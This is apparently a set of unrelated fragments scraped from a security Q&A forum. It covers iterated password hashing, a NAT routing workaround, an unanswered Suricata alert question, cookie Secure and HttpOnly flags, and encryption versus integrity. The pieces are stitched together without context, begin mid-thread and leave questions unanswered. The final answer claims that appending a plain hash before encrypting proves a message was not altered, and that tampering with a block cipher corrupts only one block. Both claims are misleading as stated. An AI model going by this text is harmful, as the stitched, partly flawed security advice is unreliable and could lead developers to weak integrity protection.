Do you know exactly what that is, or are you going to have to guess? It's common for a password hasher to take in the password and run sha-1 not once, but 100, or 1,000, or 10,000, or 100,000... times over before putting the hash in the database. Without knowing exactly how they have done the hashing, you will have to many many more combinations in your program, and it could take a very long time to run.


I didn't work out how to make it with bridges and solved it another way.

Using DHCP daemon I assign to the laptop an IP and redirect all the traffic via PC. In this case I just configure proper NAT and PREROUTING works smooth then.


Custom Suricata's HTTP alert isn't triggered when using ".." as part of the scanned uri. Why?


Do https enable web sites sent cookies over an encrypted channel?

If you request a page using HTTPS, yes, the cookies (and virtually everything else) is delivered over an encrypted channel.

However that does not mean that there are no avenues for attack.  If the cookies are not marked with the "secure" flag, they will also be sent over HTTP, and will be exposed on any HTTP request to the site, even if it merely causes the site to redirect you to the HTTPS version of the page.  This can be mitigated by setting the secure flag so the cookies are only sent along with HTTPS requests.

Additionally, if cookies aren't marked with the HttpOnly flag, they're potentially exposed if there are XSS vulnerabilities on the site.  Cookies that aren't marked at HttpOnly can be read by JavaScript on a page, and if the JavaScript is injected by an attacker and malicious, the cookies could be extracted and forwarded.

So, while using HTTPS is one piece of the security solution, it isn't the only piece.


Speaking about encryption in general, not limiting it to RSA, if a man-in-the-middle modifies an encrypted message, the message will not decrypt as the same message you sent. It really depends on the encryption algorithm used. For example, if a block cipher was used, only the block with the altered data will fail to decrypt properly, the rest of the blocks would decrypt fine, though there is no way to tell which was altered. Other types of encryption would just fail to decrypt a message if a byte was altered.

That said, the primary purpose of encryption is to provide confidentiality, as in it's used to ensure the conversation between you and the other party cannot be intercepted and read by anyone else. What you seem to be asking for is a way to ensure the data you sent was unmodified in transit. Encryption can help with that, from simple basic hashing, to utilizing DSA (digital signature algorithm). If you take a hash of your message, place the hash at the end of your message, and encrypt the whole thing, when the receiver gets the message and decrypts it, they can rehash the message and verify it against the provided hash. If they are the same, they can say with near certainty that the message wasn't altered in transit.

Side note - RSA is slow, and usually reserved for tiny-message uses, such as exchanging a symmetric key, or "signing" a hash of a message. It's not normally used to encrypt large messages.